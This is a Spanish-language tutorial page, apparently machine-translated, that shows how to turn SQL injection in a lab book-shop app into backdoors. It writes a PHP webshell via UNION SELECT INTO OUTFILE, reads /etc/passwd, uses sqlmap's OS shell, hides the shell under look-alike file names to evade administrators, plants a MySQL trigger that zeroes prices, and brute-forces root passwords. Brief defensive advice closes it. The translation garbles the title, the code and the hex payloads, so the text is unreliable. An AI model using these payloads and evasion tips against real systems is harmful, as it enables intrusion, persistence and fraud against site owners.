Red de conocimiento informático - Material del sitio web - Cómo utilizar la inyección booleana para la inyección SQL ciega

Cómo utilizar la inyección booleana para la inyección SQL ciega

Cómo utilizar la inyección booleana para la inyección SQL ciega

0×01, introducción...

0×02, ¿qué es la inyección SQL? ..

0×03, un sistema operativo) puerta trasera.

0×04, obtiene un shell del sistema operativo.

0×05, una puerta trasera de base de datos.

0×07, Medidas defensivas recomendadas...

0×08, Conclusión...

0×09, Referencia...

0×01, Introducción

Si estás leyendo este artículo, tengo motivos para creer que has oído hablar de un virus, o que se trata de un caballo de Troya o un gusano. Este programa malicioso puede infectar su sistema informático. Una vez que su sistema informático está infectado, es probable que infecte otras computadoras cuando conecta la computadora infectada a Internet. Muchas veces, el malware no sólo se propaga de una computadora a otra, sino que muta en cada computadora que infecta. Estos cambios permitirían al virus controlar remotamente cada computadora e infectar sistemas informáticos adicionales en el futuro. La primera vez que se ejecutan estos virus, copian un pequeño archivo ejecutable en el disco del usuario. El ejecutable solo escuchará en los puertos que el sistema informático no utiliza actualmente para que el malware pueda acceder al host infectado en cualquier momento mientras esté conectado a Internet. Este pequeño archivo ejecutable se llama puerta trasera. Aquí explico brevemente el concepto de puerta trasera.

0×02, ¿qué es la inyección SQL?

Ya existen más de 10.000 artículos sobre qué es la inyección Sql y cómo detectar y evitar este tipo de amenazas, así que no quiero entrar en detalles. Si necesita algunos conocimientos sobre la inyección de Sql, aquí tiene un enlace a un artículo introductorio para que lo lea. Al final de este artículo, también le proporcioné algunas referencias para que pueda obtener más conocimientos e información sobre los temas tratados en este artículo.

0×03, un sistema operativo) puerta trasera (OS)

El propósito de este artículo es utilizar la inyección SQL para ejecutar varios comandos y, en última instancia, controlar el sistema operativo. Para ejecutar comandos del sistema necesitamos un shell CMD o necesitamos ejecutar algún código para poder ejecutar comandos del sistema operativo. Probemos ambos métodos por separado.

0×04, obtiene un shell del sistema operativo.

Ahora escribiremos nuestro propio código para poder ejecutar cualquier comando del sistema operativo para controlar el sistema operativo. Entonces, por el artículo anterior, ya sabemos que hay inyección Sql en las variables en la sección de búsqueda y que hay cuatro nombres de columnas en la tabla de preguntas. Como recordatorio, la instrucción union select 1, 2, 3, 4 # de Harry Potter obtendrá un error:

Ahora, queremos insertar código PHP que pueda ejecutar comandos del sistema. Para lograr este objetivo, utilizamos la función INTO OUTFILE proporcionada por MYsql. Al utilizar INTO OUTFILE, puede redirigir el resultado de una consulta a un archivo del sistema. Debido a esto, podemos ejecutar el texto 'union select' de Harry Potter en el archivo, 2, 3 en el archivo de exportación '/tmp/blah.txt ' #, y luego la cadena 'text into file' se almacenará en el directorio /tmp bla.txt debajo. Como se muestra:

Ahora reemplazamos el "texto al archivo" con código PHP básico para que pueda leer los parámetros de la URL y ejecutar comandos del sistema para controlar el sistema operativo. Usamos la siguiente declaración: Harry Potter's Union Select"

¡Eso es! Pero hay muchos libros que simplemente no nos importan. Así que ajusté la declaración de consulta a:

Selección de unión" <? sistema($ _ REQUEST[' cmd ']);? >, 2, 3 para generar el archivo '/var/www/test/execmd . PHP ' # y luego ejecutar nuevamente.

Aunque esta vez respondí 2 y 3, es mucho mejor.

Ahora accedemos a execcmd.php y pasamos el comando [cat /etc.passwd] con los parámetros que queremos enviar para su ejecución.

Exitoso.

De mis muchos intentos, aquí hay algunas cosas a tener en cuenta.

–El usuario de la base de datos que ejecuta esta declaración requiere permisos de archivo; de lo contrario, el comando INTO OUTFILE no se puede ejecutar.

El host donde se ejecuta el servicio MySQL debe tener un directorio web en el que se pueda escribir; de lo contrario, no se podrá acceder al Webshell recién cargado. Puede escribir código en un directorio como /ttmp en el que siempre se puede escribir, pero no tendrá acceso a él.

Una forma sencilla de implementar un OS Shell es utilizar las funciones integradas de SQLMap. Si ha leído mis artículos anteriores, recordará que utilicé SQLMap. Hagamos lo mismo a través de SQLMap.

La siguiente captura de pantalla del shell del sistema operativo se obtuvo agregando un parámetro simple al mensaje y seleccionando PHP Web Shell al inyectar SQLMap.

Ejecutamos un comando para comprobar si obtenemos un shell. Bueno, ningún problema.

Es realmente fácil.

Desafortunadamente, desde la perspectiva de un 'saboteador', esto también es muy simple.

Ahora que existe un método tan simple y rápido, por supuesto que no quiero usar el método anterior, pero siempre es útil conocer el método manual (para que puedas tener otro método cuando el uso de la herramienta falla). Una cosa más a tener en cuenta: es difícil conseguir uno

Al crear un WebShell, utilice un nombre que sea muy similar a un archivo que ya existe en el directorio Web. Esto le ayudará a ocultar su WebShell para que los administradores no puedan descubrirlo fácilmente sin darse cuenta.

Antes de pasar a la siguiente puerta trasera, le mostraré una forma de ocultar SQLMap. Puede ejecutar SQLMap configurando un proxy.

Luego, brupSuite intercepta algunas solicitudes cuando SQLMap carga el WebShell real en el directorio de escritura. Echemos un vistazo a estas solicitudes.

Podemos ver algo familiar. Confirmemos mediante decodificación de URL. Mire la sección resaltada en azul en el panel inferior. Muestra que SQLMap está usando el comando INTO OUTFILE, que es el mismo método que usamos manualmente antes.

Finalmente, echemos un vistazo al contenido subido a WebShell por SQLMap, que es muy interesante. Mira el panel inferior.

Esta es la clave. Una vez más, las herramientas han simplificado enormemente el tedioso trabajo que de otro modo dedicaríamos tanto tiempo a realizar.

0×05, una puerta trasera de base de datos.

Ahora sabemos que cuando la inyección SQL está presente en una aplicación web, se pueden implantar puertas traseras del sistema operativo en el sistema. Ahora veamos cómo colocar una puerta trasera en la base de datos. Antes de continuar, necesitamos saber algunas cosas sobre la funcionalidad de puerta trasera. En la puerta trasera del sistema operativo, accedemos directamente a la puerta trasera y le pasamos un comando. Pero aquí no es tan sencillo. Cuando se ejecuta cada operación que insertamos, la puerta trasera que configuramos cambiará el valor de algunos datos confidenciales en la base de datos. Entonces, cuando cada libro se agrega a la base de datos, nuestra puerta trasera establece el precio en 0, para que la gente pueda "comprar" los libros de forma gratuita. Es posible que esto pronto se descubra en entornos del mundo real.

Así que tenemos algo llamado "desencadenante" en la base de datos, que básicamente significa: "Cuando sucede algo que queremos que suceda, activa el desencadenante para hacer otra cosa". De hecho, esta descripción es demasiado vaga, pero pongamos un ejemplo más obvio. Si eres policía, en algún momento verás a un asesino en serie. Apretaste el gatillo y disparaste, ¿verdad? Luego cámbielo a nuestro escenario anterior: hay una instrucción INSERT (el asesino) y se dispara un disparador de base de datos (el artillero), por lo que la acción es liberar la bala que configuró antes.

Escribamos un ejemplo de un disparador MySQL:

Delimitador #

Crear precio de disparo antes de insertarlo en el libro

Para el inicio de cada línea

establece nuevo precio = ' 0 ';

Fin; #

Separador;

b) Cuando ejecutamos En la instrucción Insertar para, digamos, un libro, fijamos su precio en 0.

Lo que significa es:

a) Establecer el delimitador predeterminado de MySQL en ' # ', porque el delimitador predeterminado es '; se trata como un carácter especial en MySQL y debemos tratarlo como datos. Entonces cambiamos el delimitador a '#', lo que significa que '#' ahora tiene un significado especial.

c) Finalice el activador y restablezca el delimitador a ";".

Sin embargo, utilizamos la inyección SQL para copiar el disparador al servidor. La siguiente es la frase ingresada como cuadro de búsqueda:

'Harry Potter' y 1=0 union select 0×20, 0×20, 0×20 INTO OUTFILE '/var/www/test/G2 ' la línea termina con 0x 64656 c 696d 6974657220230 a 43524544154452054524947474455207026963652044444464 f 52438

Voy a explicar rápidamente esta consulta, porque aunque parece complicada, no lo es. Usamos 1=0 porque no estamos interesados ​​en los resultados de consultas sobre Harry Potter. La posición 0×20 solo busca 'espacio' tres veces; de esta manera solo puedo obtener el contenido que quiero redirigir al archivo '/var/www/test.g2'. Luego, la parte que termina con la línea es la forma del disparador completo convertido por la función hexadecimal (yo uso el decodificador Brup, no te sientes ahí y pierdas el tiempo convirtiendo manualmente).

Ejecutémoslo y veamos qué aparece en el archivo /var/www/test/g2.

¿Te diste cuenta de los primeros espacios? Esto es lo que vimos anteriormente con la función seleccionar 0×20, 0×20, 0×20. Lo que sigue es obvio.

Ahora ejecutamos esta consulta de alguna manera y luego nuestro disparador se activará cada vez que se inserte un libro. Hay tres formas de lograrlo.

a) Consulta apilada: Harry Potter Alliance, etc., etc.; Fuente /var/www/test/g2 pero no se ejecutará correctamente porque PHP+MySQL no admite consultas de declaraciones múltiples. .

b) Abuso del comportamiento de activación predeterminado de MySQL: no he probado este método, pero se describe muy claramente en el artículo de Stefano Di Paola. Probar. Lo probaré cuando tenga tiempo.

c) Utilice una herramienta de inyección SQL (como SQLMap) para ejecutar el disparador que guardamos en /var/www/test/g2. Este es el método que probaremos.

Ejecutemos SQLMap nuevamente y obtengamos un shell SQL que pueda ejecutar desencadenadores.

Mira la última línea. Lamentablemente, este enfoque sólo es posible si se admiten consultas de varias declaraciones. Esto significa que las opciones A y C anteriores significan lo mismo. Veamos las solicitudes de SQLMap a través del proxy.

Ejecutemos una instrucción simple para crear una nueva base de datos en Sql-shell: "Crear base de datos Boo;" y verla en Brup.

Como podemos ver, SQLMap intenta convertir esto en una consulta de selección. Esto nunca funcionará. El contenido correspondiente del hipo lo confirma.

La única forma viable que se me ocurre para ejecutar las consultas de forma secuencial implica los siguientes pasos:

-Adivina la contraseña de un usuario válido de MySQL. Por ejemplo, supone que la contraseña de root es test123.

Inyectar una puerta trasera de shell web del sistema operativo.

—Inyecta un disparador similar al formato anterior.

- Ahora instale el disparador ejecutando el comando MySQL en el webshell.

Tengo algunas capturas de pantalla para ilustrar por qué esto funciona. Para cuidar a los principiantes, aquí hay una captura de pantalla. Actualmente no existe ningún activador para el nombre de la tabla.

Supongamos que hemos adivinado el nombre de usuario y la contraseña root y toor (adivinando la tabla mysql.user mediante fuerza bruta SQL ciega).

Ahora preguntemos al shell web y pasemos un comando:

MySQL -u <username> -p<password><databasename></var/www/test/g2

Ahora echemos un vistazo al base de datos.

Vi nuestro gatillo.

Ahora ejecutemos una consulta de inserción para ver si nuestro disparador se ejecutará. Entonces el precio de todos los libros de Jeffrey Archer sería increíblemente alto.

Ahora ejecuta la consulta:

Mira la última línea. Algunas personas no tienen que pagar el precio que creen que deberían pagar.

Ahora ejecutamos directamente la consulta de inserción para controlar la base de datos. En un entorno real, habrá un formulario para agregar libros, y lo más probable es que el backend tenga una consulta de inserción, y lo más probable es que el disparador se active en este momento. Esta es la única razón por la que no creé otro formulario.

Obviamente, una gran premisa es que podemos adivinar el nombre de usuario y la contraseña de la base de datos. Aquí tienes una idea sencilla para llegar allí.

Piense en algunos nombres de usuario de bases de datos de uso común (como raíz de MySQL) u obtenga algunos mediante ingeniería social.

--Las contraseñas de MySQL tienen hash, no texto sin formato.

Puedes descifrar contraseñas de dos maneras:

: comparando el hash de la contraseña con una lista de contraseñas en texto sin cifrar mediante inyección SQL. (Consulte mi artículo anterior):

: ejecute el activador en WebShell y proporcione una lista de contraseñas clara y un nombre de usuario específico. Puede escribir un script en Perl o Ruby para que haga estas cosas por usted. Intente insertar un libro después de recorrer una lista de contraseñas de texto sin cifrar o descubrir qué contraseña es correcta después de cada suposición.

MySQL -u root-ptoor SQL ciego _ prueba & lt;/var/www/test/g2

MySQL -u root-ptoor SQL ciego _ prueba & lt;/var /www/test/g2

MySQL-u root-ptest SQL ciego _ prueba </var/www/test/g2

MySQL-u root-PP contraseña SQL ciego _ test & lt;/var/www/test/g2

0×07, medidas de defensa recomendadas

a) Utilice consultas parametrizadas para resistir ataques de inyección SQL.

No tener una gran cantidad de directorios grabables en el directorio web.

c) Restringir los permisos de los usuarios que consultan la base de datos en el backend de la aplicación web. Para hacer esto, no le asigne permisos de archivo.

d) Establezca contraseñas de bases de datos complejas y políticas de contraseñas confiables.

0×08, Conclusión

La raíz de este problema es la debilidad de la inyección SQL en las aplicaciones web. Arreglarlo evitará que ocurra esta amenaza. Sin embargo, es beneficioso comprender las diferentes formas en que se pueden instalar puertas traseras. Gran parte del malware se propaga de esta manera; es necesario tomar medidas para evitarlo.